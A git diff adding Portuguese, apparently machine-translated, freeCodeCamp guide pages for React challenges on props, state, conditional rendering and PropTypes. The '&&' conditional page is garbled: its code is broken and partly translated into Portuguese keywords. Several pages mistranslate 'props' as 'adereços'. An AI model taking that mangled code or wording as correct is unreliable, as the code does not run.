+O `.join(", ")` é usado para pegar cada elemento de dentro da matriz e uni-los a uma string a ser exibida.
+
+Estamos usando a modularidade do React neste exemplo para exibir as tarefas passadas por dois componentes diferentes para um componente comum que renderiza o HTML final.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-props-to-a-stateless-functional-component/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-props-to-a-stateless-functional-component/index.md
new file mode 100644
index 0000000000..04b1662c27
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-props-to-a-stateless-functional-component/index.md
@@ -0,0 +1,48 @@
+---
+title: Pass Props to a Stateless Functional Component
+localeTitle: Passe Adereços a um Componente Funcional Stateless
+---
+## Passe Adereços a um Componente Funcional Stateless
+
+### Sugestão 1
+
+Defina uma data nomeada prop no componente Calendar da seguinte maneira:
+
+```jsx
+<CurrentDate date={Date()} /> 
+```
+
+\`
+
+### Sugestão 2
+
+A sintaxe prop.propName é usada para renderizar um prop.
+
+### Solução
+
+Atribua uma data nomeada prop no componente Calendar da seguinte maneira e renderize-a no componente Calendar, como:
+
+```jsx
+const CurrentDate = (props) => { 
+  return ( 
+    <div> 
+      <p>The current date is: {props.date}</p> 
+    </div> 
+  ); 
+ }; 
+ 
+ class Calendar extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <h3>What date is it?</h3> 
+        <CurrentDate date={Date()} /> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-state-as-props-to-child-components/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-state-as-props-to-child-components/index.md
new file mode 100644
index 0000000000..1da3d39b38
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/pass-state-as-props-to-child-components/index.md
@@ -0,0 +1,43 @@
+---
+title: Pass State as Props to Child Components
+localeTitle: Passar o estado como adereços aos componentes filhos
+---
+## Passar o estado como adereços aos componentes filhos
+
+Neste desafio, estaremos passando o estado, mas como o estado é local para seu componente pai, devemos usar **adereços** para passar para o componente filho. Usar adições em componentes filhos nos permitirá manter todos os dados de estado no componente pai e podemos passar os dados em uma direção para os componentes filhos.
+
+```javascript
+class MyApp extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'CamperBot' 
+    } 
+  } 
+  render() { 
+    return ( 
+       <div> 
+         // Here we will call this.state.name in order to pass the value of CamperBot 
+         // to the NavBar component 
+         <Navbar name={this.state.name} /> 
+       </div> 
+    ); 
+  } 
+ }; 
+ 
+ class Navbar extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return ( 
+    <div> 
+      // Since we passed in the CamperBot state value into the the NavBar component above 
+      // the h1 element below will render the value passed from state 
+      <h1>Hello, my name is: {this.props.name}</h1> 
+    </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/render-a-class-component-to-the-dom/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-a-class-component-to-the-dom/index.md
new file mode 100644
index 0000000000..7bf96be6c0
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-a-class-component-to-the-dom/index.md
@@ -0,0 +1,35 @@
+---
+title: Render a Class Component to the DOM
+localeTitle: Renderizar um componente de classe para o DOM
+---
+## Renderizar um componente de classe para o DOM
+
+Seu código deve ficar parecido com isso:
+
+```javascript
+class TypesOfVehicles extends React.Component { 
+    constructor(props) { 
+        super(props); 
+    } 
+    render() { 
+        return ( 
+          <div> 
+          <h1>Types of Vehicles:</h1> 
+          <Car /> 
+          <Motorcycle /> 
+          </div> 
+        ); 
+    } 
+ } 
+ ReactDOM.render(<TypesOfVehicles />,'node-id') 
+```
+
+A sintaxe ReactDOM.render pode ser um pouco complicada, você precisa usar os parênteses triangulares ao passar em um componente de classe. Além disso, os dois subcomponentes são declarados nos bastidores, o que pode ser confuso se você estiver acostumado a todas as variáveis ​​que estão sendo definidas no editor de código e visíveis à sua frente.
+
+### Sugestão
+
+*   use document.getElementById ('id') para obter o nó de destino
+
+### Link relevante
+
+*   [Elementos de renderização](https://reactjs.org/docs/rendering-elements.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/render-conditionally-from-props/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-conditionally-from-props/index.md
new file mode 100644
index 0000000000..9b45abdd40
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-conditionally-from-props/index.md
@@ -0,0 +1,38 @@
+---
+title: Render Conditionally from Props
+localeTitle: Render condicionalmente de adereços
+---
+## Render condicionalmente de adereços
+
+Este é um desafio complicado, mas fácil.
+
+## Solução
+
+Altere o `handleClick()` com a instrução de `handleClick()` adequada.
+
+```react.js
+handleClick() { 
+  this.setState({ 
+    counter: this.state.counter + 1 
+  }); 
+ } 
+```
+
+No método `render()` , use `Math.random()` como mencionado na descrição do desafio e escreva uma expressão ternária para passar `props` no componente **Results** .
+
+```react.js
+ let expression = Math.random() > .5; 
+ 
+ {(expression == 1)? <Results fiftyFifty="You win!"/> : <Results fiftyFifty="You lose!"/> } 
+```
+
+Em seguida, renderize os `fiftyFifty` no componente Results.
+
+```react.js
+  <h1> 
+  { 
+    this.props.fiftyFifty 
+  } 
+  </h1> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/render-html-elements-to-the-dom/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-html-elements-to-the-dom/index.md
new file mode 100644
index 0000000000..610169b830
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-html-elements-to-the-dom/index.md
@@ -0,0 +1,20 @@
+---
+title: Render HTML Elements to the DOM
+localeTitle: Renderizar elementos HTML no DOM
+---
+# Renderizar elementos HTML no DOM
+
+Para renderizar um elemento para o DOm, usamos a seguinte sintaxe
+
+```javascript
+ReactDOM.render(<item to be rendered>, <where to be rendered>); 
+```
+
+## Solução
+
+Seguindo a sintaxe, adicionaríamos essa linha de código para renderizar o elemento JSX para o div com o id do nó de desafio.
+
+```javascript
+ReactDOM.render(JSX,document.getElementById('challenge-node')); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/render-react-on-the-server-with-rendertostring/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-react-on-the-server-with-rendertostring/index.md
new file mode 100644
index 0000000000..97b9b7bd3a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-react-on-the-server-with-rendertostring/index.md
@@ -0,0 +1,24 @@
+---
+title: Render React on the Server with renderToString
+localeTitle: Renderizar Reagir no Servidor com renderToString
+---
+## Renderizar Reagir no Servidor com renderToString
+
+## Solução:
+
+Você passa uma `class` para `.renderToString()` assim como você passaria um componente para um método de `render` .
+
+```jsx
+class App extends React.Component { 
+  constructor(props) { 
+    super(props); 
+  } 
+  render() { 
+    return <div/> 
+  } 
+ }; 
+ 
+ // change code below this line 
+ ReactDOMServer.renderToString(<App />); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/render-state-in-the-user-interface-another-way/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-state-in-the-user-interface-another-way/index.md
new file mode 100644
index 0000000000..79b64d843f
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-state-in-the-user-interface-another-way/index.md
@@ -0,0 +1,57 @@
+---
+title: Render State in the User Interface Another Way
+localeTitle: Estado de renderização na interface do usuário Outra maneira
+---
+## Estado de renderização na interface do usuário Outra maneira
+
+#### Sugestão 1:
+
+```JSX
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'freeCodeCamp' 
+    } 
+  } 
+  render() { 
+    // change code below this line 
+            // Remember that how you can access the property of a state. 
+    // change code above this line 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+            // Just use the const "name" inside the h1 tag. 
+            // Dont forget to use JSX syntax "{ curly braces for JavaScript }". 
+        { /* change code above this line */ } 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+## Solução
+
+```JSX
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'freeCodeCamp' 
+    } 
+  } 
+  render() { 
+    // change code below this line 
+    const name = this.state.name; 
+    // change code above this line 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+          <h1>{name}</h1> 
+        { /* change code above this line */ } 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/render-state-in-the-user-interface/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-state-in-the-user-interface/index.md
new file mode 100644
index 0000000000..15847f234c
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-state-in-the-user-interface/index.md
@@ -0,0 +1,34 @@
+---
+title: Render State in the User Interface
+localeTitle: Estado de renderização na interface do usuário
+---
+## Estado de renderização na interface do usuário
+
+No desafio, você precisará renderizar um valor de estado na tag `<h1>` , bem simples.
+
+## Sugestão
+
+Basta criar uma tag `<h1>` e renderizar `this.state.name` entre a tag.
+
+## Solução
+
+```react.js
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'freeCodeCamp' 
+    } 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        { /* change code below this line */ } 
+        <h1>{this.state.name}</h1> 
+        { /* change code above this line */ } 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/render-with-an-ifelse-condition/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-with-an-ifelse-condition/index.md
new file mode 100644
index 0000000000..66d7ff6348
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/render-with-an-ifelse-condition/index.md
@@ -0,0 +1,37 @@
+---
+title: Render with an If/Else Condition
+localeTitle: Renderizar com uma condição If / else
+---
+## Renderizar com uma condição If / else
+
+### Método
+
+Dentro do método de renderização do componente, escreva if / else que cada um possui seu próprio método de retorno que possui JSX diferente. Isso dá aos programadores a capacidade de processar diferentes interfaces de usuário de acordo com várias condições.
+
+Primeiro, envolva o método de retorno atual dentro de uma instrução if e defina a condição para verificar se a variável 'display' é verdadeira. Lembre-se, você acessa o estado usando `this.state` .
+
+### Solução
+
+```react.js
+if (this.state.display === true) { 
+  return ( 
+    <div> 
+      <button onClick={this.toggleDisplay}>Toggle Display</button> 
+      <h1>Displayed!</h1> 
+    </div> 
+  ); 
+ } 
+```
+
+Em seguida, crie uma instrução else que retorne o mesmo JSX **sem** o elemento `h1` .
+
+```react.js
+else { 
+  return ( 
+    <div> 
+      <button onClick={this.toggleDisplay}>Toggle Display</button> 
+    </div> 
+  ) 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/review-using-props-with-stateless-functional-components/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/review-using-props-with-stateless-functional-components/index.md
new file mode 100644
index 0000000000..36a36e3071
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/review-using-props-with-stateless-functional-components/index.md
@@ -0,0 +1,29 @@
+---
+title: Review Using Props with Stateless Functional Components
+localeTitle: Rever usando adereços com componentes funcionais sem estado
+---
+## Rever usando adereços com componentes funcionais sem estado
+
+### Dicas
+
+*   Um funcional (aka stateless) componente é apenas uma função javascript simples que leva adereços como um argumento e retorna um elemento reagir.
+*   Use `Component.defaultProps` para definir props padrão.
+*   Use `Component.propTypes` para definir os tipos de props.
+
+### Solução
+
+```javascript
+const Camper = props => (<p>{props.name}</p>); 
+ 
+ Camper.defaultProps = { 
+  name: 'CamperBot' 
+ }; 
+ 
+ Camper.propTypes = { 
+  name: PropTypes.string.isRequired 
+ }; 
+```
+
+### Link relevante
+
+*   [Tipechecking Com PropTypes](https://reactjs.org/docs/typechecking-with-proptypes.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/set-state-with-this-setstate/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/set-state-with-this-setstate/index.md
new file mode 100644
index 0000000000..eca97eed1e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/set-state-with-this-setstate/index.md
@@ -0,0 +1,66 @@
+---
+title: Set State with this.setState
+localeTitle: Definir estado com this.setState
+---
+## Definir estado com this.setState
+
+#### Sugestão 1:
+
+```JSX
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'Initial State' 
+    }; 
+    this.handleClick = this.handleClick.bind(this); 
+  } 
+  handleClick() { 
+    // change code below this line 
+       // Update the state data by using "this.setState()" method. 
+       // You can look to the sample inside the description for calling "setState()" method. 
+    // change code above this line 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.handleClick}>Click Me</button> 
+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+## Solução
+
+```JSX
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      name: 'Initial State' 
+    }; 
+    this.handleClick = this.handleClick.bind(this); 
+  } 
+  handleClick() { 
+    // change code below this line 
+    this.setState({ 
+      name: 'React Rocks!' 
+    }); 
+    // change code above this line 
+  } 
+  render() { 
+    return ( 
+      <div> 
+        <button onClick={this.handleClick}>Click Me</button> 
+        <h1>{this.state.name}</h1> 
+      </div> 
+    ); 
+  } 
+ }; 
+```
+
+### Explicação do código:
+
+quando os usuários clicam no botão, o método "handleClick ()" será chamado e dentro deste método, os dados do estado do construtor serão atualizados pelo método "setState ()". então a tag h1 será alterada com os novos dados do estado do construtor.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/use--for-a-more-concise-conditional/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/use--for-a-more-concise-conditional/index.md
new file mode 100644
index 0000000000..ab9661f549
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/use--for-a-more-concise-conditional/index.md
@@ -0,0 +1,61 @@
+---
+title: Use && for a More Concise Conditional
+localeTitle: Use && para uma condicional mais concisa
+---
+## Use && para uma condicional mais concisa
+
+O exemplo dado é
+```
+{condition && <p>markup</p>} 
+```
+
+que é demonstrada abaixo usando a condição do booleano this.state.dinnerCooked. Se o valor booleano for verdadeiro, a marcação incluída no {} com a condição será exibida, caso contrário, ela não será exibida
+```
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      dinnerCooked: true 
+    } 
+  } 
+  render() { 
+    return ( 
+       <div> 
+         {this.state.dinnerCooked &&<h1>Dinner is Cooked!</h1>}//h1 tag contents will be displayed 
+       </div> 
+    ); 
+  } 
+ }; 
+ 
+ ## Hint: 
+ 
+ You don't have to do a full ```if/then``` statement. Just write the condition you are checking. 
+ 
+ ## Solution: 
+ 
+ As you can see, you don't have to write the full ```if/then``` statement. We only need to check the condition and see if it returns ```true``` or ```false```. In this case, we are checking the value of ```display```. If the value is ```true```, then you return the value to the right of ```&&```, which is ```<h1>Displayed!</h1>```. If the condition is ```false```, it returns nothing. 
+```
+
+jsx classe MyComponent estende React.Component { construtor (props) { super (adereços); this.state = { dinnerCooked: false }  
+} render () {  
+Retorna (
+
+{this.state.dinnerCooked &&
+
+# O jantar é cozido!
+
+} o conteúdo da tag // h1 NÃO será exibido display: true } this.toggleDisplay = this.toggleDisplay.bind (isso); } toggleDisplay () { this.setState ({ exibição:! this.state.display }); } render () { // muda o código abaixo desta linha Retorna (
+
+Alternar exibição {this.state.display &&
+
+# Exibido!
+
+}
+
+); } }; \`\` \` Explicação da [documentação](https://reactjs.org/docs/conditional-rendering.html) do [ReactJS.org](https://reactjs.org/docs/conditional-rendering.html)
+
+Você pode incorporar quaisquer expressões no JSX agrupando-as em chaves. Isso inclui o operador lógico && JavaScript. Pode ser útil para incluir condicionalmente um elemento
+
+Isso funciona porque, em JavaScript, true && expression sempre é avaliado como expressão e false && expression sempre é avaliado como false.
+
+Portanto, se a condição for verdadeira, o elemento logo após && aparecerá na saída. Se for falso, o React irá ignorar e ignorá-lo.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/use-a-ternary-expression-for-conditional-rendering/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-a-ternary-expression-for-conditional-rendering/index.md
new file mode 100644
index 0000000000..ef8bfa55ba
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-a-ternary-expression-for-conditional-rendering/index.md
@@ -0,0 +1,43 @@
+---
+title: Use a Ternary Expression for Conditional Rendering
+localeTitle: Use uma expressão ternária para renderização condicional
+---
+## Use uma expressão ternária para renderização condicional
+
+Este desafio é usar a expressão Ternary somente em vez de usar `If/Else` no código,
+
+## Sugestão
+
+O operador ternário possui três partes, mas você pode combinar várias expressões ternárias juntas. Aqui está a sintaxe básica:
+```
+condition ? expressionIfTrue : expressionIfFalse 
+```
+
+## Solução
+
+Aqui está uma solução de exemplo de uso da expressão ternária. Primeiro você precisa declarar estado no construtor como este
+
+```react.js
+constructor(props) { 
+    super(props); 
+    // change code below this line 
+      this.state = { 
+        input: '', 
+        userAge: '' 
+      } 
+    // change code above this line 
+    this.submit = this.submit.bind(this); 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+```
+
+Então o operador ternário
+
+```react.js
+{ 
+    /* change code here */ 
+    (this.state.userAge >= 18) ? buttonTwo : (this.state.userAge== '')? buttonOne: buttonThree 
+ 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/use-advanced-javascript-in-react-render-method/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-advanced-javascript-in-react-render-method/index.md
new file mode 100644
index 0000000000..9accb04505
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-advanced-javascript-in-react-render-method/index.md
@@ -0,0 +1,26 @@
+---
+title: Use Advanced JavaScript in React Render Method
+localeTitle: Use JavaScript avançado no método Renderização de Reação
+---
+## Use JavaScript avançado no método Renderização de Reação
+
+### Método
+
+Enquanto você está dentro do método de renderização e não dentro do método de retorno, você pode escrever JavaScript **sem** envolvê-lo dentro de chaves.
+
+Primeiro, você terá que definir a constante 'answer' para um valor. Acesse o array 'possibleAnswers' usando o valor 'randomIndex', que está localizado dentro do estado do seu componente. Lembre-se, você acessa o estado usando `this.state` .
+
+### Solução
+
+```js
+const answer = possibleAnswers[this.state.randomIndex]; 
+```
+
+Em seguida, insira sua resposta 'const' nas tags p. Certifique-se de envolvê-lo com chaves `{ }` .
+
+```jsx
+<p> 
+  {answer} 
+ </p> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/use-array-filter-to-dynamically-filter-an-array/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-array-filter-to-dynamically-filter-an-array/index.md
new file mode 100644
index 0000000000..ab234c5875
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-array-filter-to-dynamically-filter-an-array/index.md
@@ -0,0 +1,70 @@
+---
+title: Use Array.filter() to Dynamically Filter an Array
+localeTitle: Use Array.filter () para filtrar dinamicamente uma matriz
+---
+## Use Array.filter () para filtrar dinamicamente uma matriz
+
+## Sugestão 1:
+
+Use `.filter()` para criar uma nova matriz que mostre apenas usuários online.
+
+`this.state.users.filter(i => i.online == true)`
+
+## Dica 2:
+
+Use `.map()` do exercício anterior para listar os usuários on-line e dar a eles uma chave exclusiva.
+
+`usersOnline.map((i) => <li key={i.username + 1}>{i.username}</li>)`
+
+## Solução:
+
+Ambos os métodos combinados primeiro filtrarão o array e os listarão individualmente.
+
+```jsx
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      users: [ 
+        { 
+          username: 'Jeff', 
+          online: true 
+        }, 
+        { 
+          username: 'Alan', 
+          online: false 
+        }, 
+        { 
+          username: 'Mary', 
+          online: true 
+        }, 
+        { 
+          username: 'Jim', 
+          online: false 
+        }, 
+        { 
+          username: 'Sara', 
+          online: true 
+        }, 
+        { 
+          username: 'Laura', 
+          online: true 
+        } 
+      ] 
+    } 
+  } 
+  render() { 
+    const usersOnline = this.state.users.filter(i => i.online == true); // change code here 
+    const renderOnline = usersOnline.map((i) => <li key={i.username + 1}>{i.username}</li>); // change code here 
+    return ( 
+       <div> 
+         <h1>Current Online Users:</h1> 
+         <ul> 
+           {renderOnline} 
+         </ul> 
+       </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/use-array-map-to-dynamically-render-elements/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-array-map-to-dynamically-render-elements/index.md
new file mode 100644
index 0000000000..d0e1339139
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-array-map-to-dynamically-render-elements/index.md
@@ -0,0 +1,75 @@
+---
+title: Use Array.map() to Dynamically Render Elements
+localeTitle: Use Array.map () para renderizar elementos dinamicamente
+---
+## Use Array.map () para renderizar elementos dinamicamente
+
+## Sugestão 1:
+
+Defina os dois estados como um `object` JavaScript.
+
+```javascript
+{object: state, object: state} 
+```
+
+## Dica 2:
+
+Você precisa de `.map()` para gerar uma linha para cada objeto na matriz.
+
+```javascript
+this.state.toDoList.map(i => <li>{i}</li>); 
+```
+
+## Solução:
+
+Depois de adicionar a função de mapa, você notará que irá gerar um `<li>` para cada item que você colocar na lista.
+
+```jsx
+const textAreaStyles = { 
+  width: 235, 
+  margin: 5 
+ }; 
+ 
+ class MyToDoList extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    // change code below this line 
+    this.state = { 
+      userInput: '', 
+      toDoList: [] 
+    } 
+    // change code above this line 
+    this.handleSubmit = this.handleSubmit.bind(this); 
+    this.handleChange = this.handleChange.bind(this); 
+  } 
+  handleSubmit() { 
+    const itemsArray = this.state.userInput.split(','); 
+    this.setState({ 
+      toDoList: itemsArray 
+    }); 
+  } 
+  handleChange(e) { 
+    this.setState({ 
+      userInput: e.target.value 
+    }); 
+  } 
+  render() { 
+    const items = this.state.toDoList.map(i => <li>{i}</li>); // change code here 
+    return ( 
+      <div> 
+        <textarea 
+          onChange={this.handleChange} 
+          value={this.state.userInput} 
+          style={textAreaStyles} 
+          placeholder="Separate Items With Commas" /><br /> 
+        <button onClick={this.handleSubmit}>Create List</button> 
+        <h1>My "To Do" List:</h1> 
+        <ul> 
+          {items} 
+        </ul> 
+      </div> 
+    ); 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/use-default-props/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-default-props/index.md
new file mode 100644
index 0000000000..643ba07e74
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-default-props/index.md
@@ -0,0 +1,36 @@
+---
+title: Use Default Props
+localeTitle: Use Adereços Padrão
+---
+## Use Adereços Padrão
+
+Este desafio tem você declarando uma prop padrão para o componente ShoppingCart
+
+```javascript
+const ShoppingCart = (props) => { 
+  return ( 
+    <div> 
+      <h1>Shopping Cart Component</h1> 
+    </div> 
+  ) 
+ }; 
+```
+
+Para declarar um prop padrão, a sintaxe a ser seguida é
+
+```javascript
+itemName.defaultProps = { 
+  prop-x: value, 
+  prop-y: value 
+ } 
+```
+
+Após a sintaxe, o seguinte código deve ser declarado abaixo do código fornecido
+
+```javascript
+ShoppingCart.defaultProps = { 
+  items: 0 
+ } 
+```
+
+Isto declara um prop chamado 'items' com o valor '0'.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/use-proptypes-to-define-the-props-you-expect/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-proptypes-to-define-the-props-you-expect/index.md
new file mode 100644
index 0000000000..5afe0783ad
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-proptypes-to-define-the-props-you-expect/index.md
@@ -0,0 +1,30 @@
+---
+title: Use PropTypes to Define the Props You Expect
+localeTitle: Use PropTypes para definir os suportes que você espera
+---
+## Use PropTypes para definir os suportes que você espera
+
+Este desafio você definiu um `propTypes` para o componente `Items` .
+
+```react.js
+const Items = (props) => { 
+  return <h1>Current Quantity of Items in Cart: {props.quantity}</h1> 
+ }; 
+```
+
+Para definir um propTypes, a sintaxe a ser seguida é
+
+```react.js
+itemName.propTypes = { 
+  props: PropTypes.dataType.isRequired 
+ }; 
+```
+
+Seguindo a sintaxe, o código a seguir deve ser definido abaixo do código fornecido para a `quantity` props do componente `Items`
+
+```react.js
+Items.propTypes = { 
+  quantity: PropTypes.number.isRequired 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/use-react-to-render-nested-components/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-react-to-render-nested-components/index.md
new file mode 100644
index 0000000000..78cf5cf536
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-react-to-render-nested-components/index.md
@@ -0,0 +1,22 @@
+---
+title: Use React to Render Nested Components
+localeTitle: Use Reagir para Renderizar Componentes Aninhados
+---
+## Use Reagir para Renderizar Componentes Aninhados
+
+Você aprendeu nas lições anteriores que existem duas maneiras de criar um componente React:
+
+1.  Componente funcional sem estado - usando uma função JavaScript.
+    
+2.  Defina um componente React usando a sintaxe ES6.
+    
+
+Neste teste, definimos dois componentes funcionais sem estado, ou seja, usando funções JavaScript. Lembre-se, uma vez que um componente tenha sido criado, ele pode ser renderizado da mesma forma que uma tag HTML, usando o nome do componente dentro de colchetes de abertura e fechamento de HTML. Por exemplo, para aninhar um componente chamado Cão dentro de um componente pai chamado Animais, você simplesmente retornaria o componente Cão do componente Animais assim:
+
+```javascript
+return ( 
+  <Dog /> 
+ ) 
+```
+
+Tente isso com os componentes TypesOfFruit e Fruits.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/use-state-to-toggle-an-element/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-state-to-toggle-an-element/index.md
new file mode 100644
index 0000000000..2d3189bb65
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-state-to-toggle-an-element/index.md
@@ -0,0 +1,64 @@
+---
+title: Use State to Toggle an Element
+localeTitle: Use o estado para alternar um elemento
+---
+## Use o estado para alternar um elemento
+
+*   Você pode alternar um elemento verificando e alterando seu estado.
+
+## Sugestão 1:
+
+*   Lembre-se de ligar `this` ao construtor do método.
+
+```javascript
+    this.toggleVisibility = this.toggleVisibility.bind(this); 
+```
+
+## Dica 2:
+
+*   Lembre-se, você pode usar uma função JavaScript para verificar o estado de um elemento.
+
+## Solução:
+
+```jsx
+class MyComponent extends React.Component { 
+  constructor(props) { 
+    super(props); 
+    this.state = { 
+      visibility: false 
+    }; 
+    // change code below this line 
+    this.toggleVisibility = this.toggleVisibility.bind(this); 
+    // change code above this line 
+  } 
+  // change code below this line 
+  toggleVisibility() { 
+    if (this.state.visibility == true) { 
+    this.setState({ 
+      visibility: false 
+    });} else { 
+      this.setState({ 
+        visibility: true 
+      }) 
+    } 
+  } 
+  // change code above this line 
+  render() { 
+    if (this.state.visibility) { 
+      return ( 
+        <div> 
+          <button onClick={this.toggleVisibility}>Click Me</button> 
+          <h1>Now you see me!</h1> 
+        </div> 
+      ); 
+    } else { 
+      return ( 
+        <div> 
+          <button onClick={this.toggleVisibility}>Click Me</button> 
+        </div> 
+      ); 
+    } 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md
new file mode 100644
index 0000000000..62195072ef
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Lifecycle Method componentDidMount
+localeTitle: Use o componentDidMount do método do ciclo de vida
+---
+## Use o componentDidMount do método do ciclo de vida
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/front-end-libraries/react/use-the-lifecycle-method-componentdidmount/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md
new file mode 100644
index 0000000000..a65710f847
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/front-end-libraries/react/use-the-lifecycle-method-componentwillmount/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the Lifecycle Method componentWillMount
+localeTitle: Use o componente Método de ciclo de vidaWillMount
+---
+## Use o componente Método de ciclo de vidaWillMount
+
